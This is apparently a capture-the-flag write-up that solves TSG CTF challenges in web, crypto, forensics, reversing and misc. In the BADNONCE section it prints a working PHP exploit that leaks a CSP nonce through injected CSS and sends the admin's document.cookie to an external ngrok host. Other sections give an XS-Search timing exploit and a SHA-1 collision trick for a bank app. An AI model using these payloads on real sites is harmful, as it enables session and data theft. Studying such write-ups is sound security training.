# TSG CTF write-up (NaruseJun) Japanese version: https://hackmd.io/s/rk-iwwpo4 ## Sanity Check (Warmup 100pts) ![](https://i.imgur.com/5tZ9Qqb.png) ## BADNONCE Part 1 (Web 247pts) CSS injection and XSS. FLAG is in admin's cookie. Injecting evil css containing attribute-selector, we can steal `nonce` attribute of `script` tag. ```html <script nonce=<?= $nonce ?>> console.log('Welcome to the dungeon :-)'); </script> ``` With a nonce, we can inject XSS code and bypass CSP restriction, because the nonce used multiple times. ```php session_start(); $nonce = md5(session_id()); ``` Exploit is below: ```php <?php if (array_key_exists("save", $_GET)) { file_put_contents("flag.txt", $_GET["save"] . PHP_EOL, LOCK_EX | FILE_APPEND); } else if (array_key_exists("nonce", $_GET)) { $nonce = file_get_contents("nonce.txt"); if (strlen($nonce) < strlen($_GET["nonce"])) { file_put_contents("nonce.txt", $_GET["nonce"], LOCK_EX); } } else if (array_key_exists("css", $_GET)) { header("Content-Type: text/css"); echo("script { display: block }" . PHP_EOL); $nonce = file_get_contents("nonce.txt"); $chars = str_split("0123456789abcdef"); foreach ($chars as $c1) { foreach ($chars as $c2) { $x = $nonce . $c1 . $c2; echo("[nonce^='" . $x . "'] { background: url(http://cf07fd07.ap.ngrok.io/?nonce=" . $x . ") }" . PHP_EOL); } } } else if (array_key_exists("go", $_GET)) { $nonce = file_get_contents("nonce.txt"); if (strlen($nonce) < 32) { header("Location: http://35.187.214.138:10023/?q=%3Clink%20rel%3D%22stylesheet%22%20href%3D%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fcss%3D" . microtime(true) . "%22%3E"); } else { header("Location: http://35.187.214.138:10023/?q=%3Cscript%20nonce%3D%22" . $nonce . "%22%3Efetch(%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fsave%3D%22%20%2B%20encodeURIComponent(document.cookie))%3C%2Fscript%3E"); } } else if (array_key_exists("start", $_GET)) { file_put_contents("nonce.txt", "", LOCK_EX); file_put_contents("flag.txt", "", LOCK_EX); ?> <html> <body> <script> setInterval(() => { const iframe = document.createElement("iframe"); iframe.src = `?go=${(new Date).getTime()}`; document.body.appendChild(iframe); }, 256); </script> </body> </html> <?php } else { echo("E R R O R !"); } ?> ``` Then, report URL of this code. Admin's browser will execute an evil code and send FLAG to our server. ## Secure Bank (Web 497pts) SHA-1 collision (SHAttered). Earn much balance to get the FLAG. ```ruby get '/api/flag' do return err(401, 'login first') unless user = session[:user] hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user row = res.next balance = row && row[0] res.close return err(401, 'login first') unless balance return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000 json({flag: IO.binread('data/flag.txt')}) end ``` Transferring balance to oneself causes unexpected doubling of balance, but this request is prohibited. Database retains SHA-1 hashed value of username as an user's ID, but `/api/transfer` compares **username** to check whether the receiver is same as the sender or not. ```ruby post '/api/transfer' do return err(401, 'login first') unless src = session[:user] return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src return err(400, 'bad request') unless amount = params[:amount] and String === amount return err(400, 'bad request') unless amount = amount.to_i and amount > 0 sleep 1 hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)} hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src row = res.next balance_src = row && row[0] res.close return err(422, 'no enough coins') unless balance_src >= amount res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst row = res.next balance_dst = row && row[0] res.close return err(422, 'no such user') unless balance_dst balance_src -= amount balance_dst += amount DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_src, hashed_src DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_dst, hashed_dst json({amount: amount, balance: balance_src}) end ``` Therefore, a pair of different usernames which have same SHA-1 hash value breaks this application. We can easily generate such pair of usernames using SHAttered PDF. Such like this: ```php <?php $s1 = file_get_contents("shattered-1.pdf"); $s2 = file_get_contents("shattered-2.pdf"); $t1 = substr($s1, 0, 320) . "narusejun"; $t2 = substr($s2, 0, 320) . "narusejun"; echo(sha1($t1) . PHP_EOL); echo(sha1($t2) . PHP_EOL); function toStr($c) { $i = ord($c); if ($c == '"') { return '\\"'; } if ($c == '%') { return '%%'; } if ($i < 0x20) { return sprintf("\\u%04x", $i); } if ($i < 0x7F) { return $c; } return sprintf("\\x%02x", ord($c)); } $u1 = implode(array_map(toStr, str_split($t1))); $u2 = implode(array_map(toStr, str_split($t2))); echo($u1 . PHP_EOL); echo($u2 . PHP_EOL); ?> ``` Now, we can double our balance again and again, and obtain a FLAG. ## RECON (Web 500pts) XS-Searching. Use XSS Auditor to know admin's secret information. We can inject arbitrary HTML codes into profile page, but any script will be blocked by CSP. If we report suspicious user, then admin checks that user's page. We can embed IFRAME into that page, so we can make admin's browser jump to any URL. The profile page also have answer for secret question ... as a JavaScript code! ```html 🍇 <input type="checkbox" id="grapes" onchange="grapes.checked=false;" > 🍈 <input type="checkbox" id="melon" onchange="melon.checked=true;" > 🍉 <input type="checkbox" id="watermelon" onchange="watermelon.checked=true;" > 🍊 <input type="checkbox" id="tangerine" onchange="tangerine.checked=true;" > 🍋 <input type="checkbox" id="lemon" onchange="lemon.checked=false;" > 🍌 <input type="checkbox" id="banana" onchange="banana.checked=false;" > 🍍 <input type="checkbox" id="pineapple" onchange="pineapple.checked=true;" > 🍐 <input type="checkbox" id="pear" onchange="pear.checked=false;" > 🍑 <input type="checkbox" id="peach" onchange="peach.checked=false;" > 🍒 <input type="checkbox" id="cherries" onchange="cherries.checked=false;" > 🍓 <input type="checkbox" id="strawberry" onchange="strawberry.checked=false;" > 🍅 <input type="checkbox" id="tomato" onchange="tomato.checked=false;" > 🥥 <input type="checkbox" id="coconut" onchange="coconut.checked=false;" > 🥭 <input type="checkbox" id="mango" onchange="mango.checked=false;" > 🥑 <input type="checkbox" id="avocado" onchange="avocado.checked=false;" > 🍆 <input type="checkbox" id="aubergine" onchange="aubergine.checked=true;" > 🥔 <input type="checkbox" id="potato" onchange="potato.checked=true;" > 🥕 <input type="checkbox" id="carrot" onchange="carrot.checked=true;" > 🥦 <input type="checkbox" id="broccoli" onchange="broccoli.checked=false;" > 🍄 <input type="checkbox" id="mushroom" onchange="mushroom.checked=true;" > ``` In this page, the header `X-XSS-Protection: 1; mode=block` is sent. So XSS Auditor is working as block mode. XSS Auditor inhibits loading this page with query such like `?onchange="grapes.checked=false;"`. This behavior is undesirable, because it may be a risk of information leaks. Then, we made an evil page, which contains two IFRAMEs. IFRAME loads self-profile page with query, `?onchange="grapes.checked=true;"` and `?onchange="grapes.checked=false;"`. Measuring loading time of two frames, we are able to know which frame is blocked --- in other words, this is which checkbox is checked. Exploit script: ```php <?php if(array_key_exists("save", $_GET)){ file_put_contents("save.txt", $_GET["save"] . PHP_EOL, FILE_APPEND | LOCK_EX); echo("OK!"); }else{ ?> <html> <body> <script> function test(key, val){ return new Promise(function(resolve){ const iframe = document.createElement("iframe"); iframe.onload = function(){ iframe.remove(); resolve([key, val, new Date().getTime() - time]); }; iframe.src = `http://34.97.74.235:10033/profile?onchange="${key}.checked=${val};"`; const time = new Date().getTime(); document.body.appendChild(iframe); }); } (async () => { const results = []; for(let i = 0; i < 1; i++){ results.push([ await test("mushroom", true), await test("mushroom", false), ]); } location.href = "?save=" + results; })(); </script> </body> </html> <?php } ?> ``` With that information, we can view admin's secret message (FLAG). ## OPQRX (Crypto 497pts) Fortunately, we know a very similar problem: hxpCTF2017 flea. When we decide the $k$ lower bits of $p,q$, xor constraints and multiply constraints must be satisfied in the $k$ lower bits. - $p_k \oplus q_k = X_k = X \bmod 2^k$ - $p_k \times q_k = N_k = N \bmod 2^k$ We hold this constraints and manage DFS to decide bits of $p,q$ from LSB to MSB, one bit by one bit. The below program will be end in a few minute. ```ruby X = 95035(...)51960 N = 24746(...)09489 E = 65537 C = 38292(...)05157 def extgcd(a,b) g,x,y = a,1,0 if b != 0 o = extgcd(b,a%b) g = o[:g] x = o[:y] y = o[:x] - (a/b)*x end return {g:g, x:x, y:y} end def modinv(a,m) o = extgcd(a,m) x = o[:x] x += m if x < 0 return x end BITS = 4096 ansp, ansq = -1, -1 stack = [] stack.push([0,0,0]) cnt = 0 while stack.length > 0 cnt += 1 if cnt % 100000 == 0 puts "cnt=#{cnt}: stack=#{stack.length}" end x,y,i = stack.pop if x*y==N ansp, ansq = x, y break end next if i==BITS v = (X>>i) & 1 for dx in [0,1] for dy in [0,1] next if (dx^dy) != v nx = x + (dx<<i) ny = y + (dy<<i) msk = (1<<(i+1))-1 next if ((nx*ny)&msk) != (N&msk) stack.push([nx,ny,i+1]) end end end puts ansp puts ansq # ansp = 58349(...)66043 # ansq = 42410(...)83523 D = modinv(E, (ansp-1)*(ansq-1)) F = C.pow(D,N) puts [F.to_s(16)].pack("H*") ``` `TSGCTF{Absolutely, X should be 'S' in 'OPQRX'.}` ## OMEGA (Crypto 500pts) Chinese Reminder Theorem on $\mathbb Z[\omega]$(Eisenstein Integer). In this problem, we know add/sub/mul/div/mod operations for Eisenstein Integer, so we use them to reconstruct flag. Because of my misunderstanding or bugs, some of calculation results go wrong. So we fix them by hand(take one of $u\in\mathbb Z[\omega]$ from six units, then multiply it). ```ruby require_relative 'params' def to_complex(x) a, b = x w = Math::E ** Complex(0, Math::PI*2.0/3.0) a + b*w end def add(x, y) a, b = x c, d = y [a+c, b+d] end def sub(x, y) a, b = x c, d = y [a-c, b-d] end def mul(x, y) a, b = x c, d = y [a*c - b*d, a*d + b*c - b*d] end def div(x, y) xc, yc = to_complex(x), to_complex(y) a, b = (xc / yc).rect [(a + b/Math.sqrt(3)).round, (b*2.0/Math.sqrt(3)).round] end def mod(x, y) # many times... 100.times do k = div(x, y) x = sub(x, mul(k, y)) end x end $units = [[1,0],[-1,0],[0,1],[0,-1],[1,1],[-1,-1]] def extgcd(a,b) g = a x = [1,0] y = [0,0] if b != [0,0] o = extgcd(b,mod(a,b)) g = o[:g] x = o[:y] y = sub(o[:x],mul(div(a,b),x)) end return {g:g, x:x, y:y} end def modinv(a,m) o = extgcd(a,m) x = o[:x] return x end N = PROBLEM.length r = [0,0] m = [1,0] for i in 0...N item = PROBLEM[i] b = item[0] md = item[1] o = extgcd(m,md) g = o[:g] p = div(o[:x], g) md = div(md, g) tmp = mod(mul(sub(b,r),p),md) if i == 1 || i == 4 tmp = mul(tmp,$units[1]) # ??? end r = add(r,mul(m,tmp)) m = mul(m,md) # check puts "CHECK" for j in 0..i print "#{j}=#{PROBLEM[j][0] == mod(r,PROBLEM[j][1])}," end puts "" end f1,f2 = r puts [f1.to_s(16)].pack("H*") puts [f2.to_s(16)].pack("H*") flag = f1 * (1<<(8*37)) + f2 puts [flag.to_s(16)].pack("H*") ``` ``` TSGCTF{I_H34RD_S0ME_IN7EGERS_INCLUDI NG_EISENSTEIN'S_F0RM_EUCL1DE4N_R1NG!} TSGCTF{I_H34RD_S0ME_IN7EGERS_INCLUDING_EISENSTEIN'S_F0RM_EUCL1DE4N_R1NG!} ``` ## Harekaze (Stego 499pts) Using Error Level Analysis of [Forensically](https://29a.ch/photo-forensics/), generated a slightly readable image. ![Imgur](https://i.imgur.com/AfK3lah.png) Then, guessed hard. ## Obliterated File (Forensics 92pts) We got a git local repository. Viewing the commits, we detected the commit that contains `flag` file. So, we checkout this commit. ``` $ git checkout 84128ed ``` Change `main.cr` for output `flag`. ```crystal require "zlib" flag = File.open("./flag", "r") do |f| Zlib::Reader.open(f) do |inflate| inflate.gets_to_end end end puts flag ``` Execute. ``` $ crystal main.cr TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master} ``` ## Obliterated File Again (Forensics 178pts) `git gc` was extecuted, so we viewed `.git/packed-refs`. ``` # pack-refs with: peeled fully-peeled sorted 072690c0aaf46bc7875b67d6323b8f8d2074aaca refs/heads/master 1c80e25f51797b19dfbdeb0e2831ebd9bba64ab8 refs/original/refs/heads/master ``` Checkout `1c80e25f`. ``` $ git checkout 1c80e25f ``` After that, the same as Obliterated File. ``` $ crystal main.cr TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m} ``` ## ffi (Reversing 488pts) We got a ttf file. As stated, we tried typing some flags. ![](https://i.imgur.com/7tzRL0a.png) Typing `TSGCTF{flag}`, it is displayed as `TSGCTF{flag} is incorrect` if `flag` is incorrect. We opened it by FontForge. ![](https://i.imgur.com/HAArt8K.png) `glyph346` is displayed as `} is correct`. `glyph347` is displayed as `} is incorrect`. Viewing `Element > Font Info > Lookups`, many ligatures are configured. We've only to get what string is displayed as `is correct` from this configurations. We used [fonttools](https://github.com/fonttools/fonttools). ```bash $ pip install fonttools $ ttx ffi.ttf ``` Search `glyph00346` which is displayed as `} is correct`. ```xml <Lookup index="51"> <LookupType value="1"/> <LookupFlag value="0"/> <!-- SubTableCount=1 --> <SingleSubst index="0" Format="2"> <Substitution in="a" out="glyph00102"/> <Substitution in="b" out="glyph00113"/> <Substitution in="braceright" out="glyph00346"/> <Substitution in="c" out="glyph00114"/> : <Substitution in="z" out="glyph00323"/> </SingleSubst> </Lookup> ``` In a certain string, `}` shows `glyph00346`. We focused on `<Lookup index="51">`, and searched `"51"`. ```xml <ChainContextSubst index="51" Format="3"> <!-- BacktrackGlyphCount=1 --> <BacktrackCoverage index="0" Format="1"> <Glyph value="glyph00140"/> </BacktrackCoverage> <!-- InputGlyphCount=1 --> <InputCoverage index="0" Format="2"> <Glyph value="underscore"/> <Glyph value="a"/> <Glyph value="b"/> : <Glyph value="y"/> <Glyph value="z"/> <Glyph value="braceright"/> </InputCoverage> <!-- LookAheadGlyphCount=0 --> <!-- SubstCount=1 --> <SubstLookupRecord index="0"> <SequenceIndex value="0"/> <LookupListIndex value="51"/> </SubstLookupRecord> </ChainContextSubst> ``` Next, search `glyph00140`. ```xml <Lookup index="130"> <LookupType value="1"/> <LookupFlag value="0"/> <!-- SubTableCount=1 --> <SingleSubst index="0" Format="2"> <Substitution in="a" out="glyph00103"/> : <Substitution in="d" out="glyph00128"/> <Substitution in="e" out="glyph00140"/> <Substitution in="f" out="glyph00144"/> : <Substitution in="z" out="glyph00324"/> </SingleSubst> </Lookup> ``` In a certain string, `e` shows `glyph00140`. After that, `index="130"`→`glyph00219`(`n`)→... So we got `TSGCTF{ligature_state_machine}`. Try typing the flag. ![](https://i.imgur.com/4b5bOjf.png) ## Recorded (Misc 500pts) Decoded `input` with the following script. ```c #include <assert.h> #include <fcntl.h> #include <linux/input.h> #include <stdio.h> #include <sys/time.h> int main(void) { int fd = open("input", O_RDWR); assert(fd != -1); for (;;) { struct input_event event; assert(read(fd, &event, sizeof(event)) == sizeof(event)); if (event.type == 0x1 && event.value == 0x1) { switch (event.code) { case KEY_1: putchar('1'); break; case KEY_2: putchar('2'); break; case KEY_3: putchar('3'); break; case KEY_4: putchar('4'); break; case KEY_5: putchar('5'); break; case KEY_6: putchar('6'); break; case KEY_7: putchar('7'); break; case KEY_8: putchar('8'); break; case KEY_9: putchar('9'); break; case KEY_0: putchar('0'); break; case KEY_MINUS: putchar('-'); break; case KEY_EQUAL: putchar('='); break; case KEY_Q: putchar('q'); break; case KEY_W: putchar('w'); break; case KEY_E: putchar('e'); break; case KEY_R: putchar('r'); break; case KEY_T: putchar('t'); break; case KEY_Y: putchar('y'); break; case KEY_U: putchar('u'); break; case KEY_I: putchar('i'); break; case KEY_O: putchar('o'); break; case KEY_P: putchar('p'); break; case KEY_LEFTBRACE: putchar('('); break; case KEY_RIGHTBRACE: putchar(')'); break; case KEY_ENTER: putchar('\n'); break; case KEY_A: putchar('a'); break; case KEY_S: putchar('s'); break; case KEY_D: putchar('d'); break; case KEY_F: putchar('f'); break; case KEY_G: putchar('g'); break; case KEY_H: putchar('h'); break; case KEY_J: putchar('j'); break; case KEY_K: putchar('k'); break; case KEY_L: putchar('l'); break; case KEY_SEMICOLON: putchar(';'); break; case KEY_APOSTROPHE: putchar('\''); break; case KEY_GRAVE: putchar('`'); break; case KEY_BACKSLASH: putchar('\\'); break; case KEY_Z: putchar('z'); break; case KEY_X: putchar('x'); break; case KEY_C: putchar('c'); break; case KEY_V: putchar('v'); break; case KEY_B: putchar('b'); break; case KEY_N: putchar('n'); break; case KEY_M: putchar('m'); break; case KEY_COMMA: putchar(','); break; case KEY_DOT: putchar('.'); break; case KEY_SLASH: putchar('/'); break; case KEY_SPACE: putchar(' '); break; case KEY_LEFTSHIFT: printf("<shift>"); break; case KEY_TAB: printf("<tab>"); break; case KEY_BACKSPACE: printf("<bs>"); break; default: printf("<%d>", event.code); } //printf(": %lu\n", event.time.tv_sec); } } close(fd); } ``` The result was below. ``` rm /dev/ura<tab> rm /dev/ra<tab> <shift>lang-c date --utc <shift>. /dev/random echo nyan <shift>.. /dev/ra<tab> curl -<shift>o https'//www.openssl.org/source/openssl-1.1.1b.tar.gz tar xzvf ope<tab> cd ope<tab><tab> vim cry<tab>ra<tab>rand<shift><89>unix.c 637<shift>gd17d621<shift>gd2d603<shift>gdd480<shift>gd30d'wq vim cr<tab>ra<tab>ra<tab><shift><89>li<tab> 250<shift>gd2d'wq ./co<tab> make -j 4 cd .. <shift>ld<89>library<89>path-./ope<tab> ./ope<tab>app<tab>ope<tab>genrsa 1024 <shift>. key.pem <shift>ld<89>library<89>path-./ope<tab> ./ope<tab>ap<tab>ope<tab>rsautl -encrypt -inkey key.<tab>-in fl<tab>-out encrypted fd<bs>g 1 ``` Formatted the result, guessing. ``` rm /dev/ura<tab> rm /dev/ra<tab> LANG=C date --utc > /dev/random (enter key tv_sec = 1556368668) echo nyan >> /dev/ra<tab> curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz tar xzvf ope<tab> cd ope<tab><tab> vim cry<tab>ra<tab>rand_unix.c 637Gd17d621Gd2d603Gdd480Gd30d:wq vim cr<tab>ra<tab>ra<tab>_li<tab> 250Gd2d:wq ./co<tab> make -j 4 cd .. LD_LIBRARY_PATH=./ope<tab> ./ope<tab>app<tab>ope<tab>genrsa 1024 > key.pem (enter key tv_sec = 1556368884) LD_LIBRARY_PATH=./ope<tab> ./ope<tab>ap<tab>ope<tab>rsautl -encrypt -inkey key.<tab>-in fl<tab>-out encrypted fg 1 ^C ``` With the given `Dockerfile`, built the `problem` image and started a container on it. In the container, removed `/dev/urandom` and `/dev/random` and recreated `/dev/random` with the following commands. ```shell # rm /dev/urandom # rm /dev/random # LANG=C date --utc --date="@1556368668" > /dev/random # echo nyan >> /dev/random ``` Following the decoding result, built a modified OpenSSL binary. However, re-modified `get_time_stamp()` in `crypto/rand/rand_unix.c` like that: ```c static uint64_t get_time_stamp(void) { return 1556368884; } ``` Reading OpenSSL source codes, understood there were 3 factors randomizing the `key.pem` generation, which were `/dev/random`, the generating time and the generating process's ID. The decoding result tells correct `/dev/random` and the correct generating time, but the correct PID remained unknown. Therefore, copied `encrypted` into the container, and then did a blute-force attack with the following commands. ```shell # for ((i = 0; i < 40000; i++)); do LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem && LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl rsautl -decrypt -inkey key.pem -in encrypted -out flag-${i}.txt; done # ls -lS | more ``` Finally, found the flag. ```shell # cat flag-2936.txt TSGCTF{openssl_genrsa_is_hardly_predictable} ```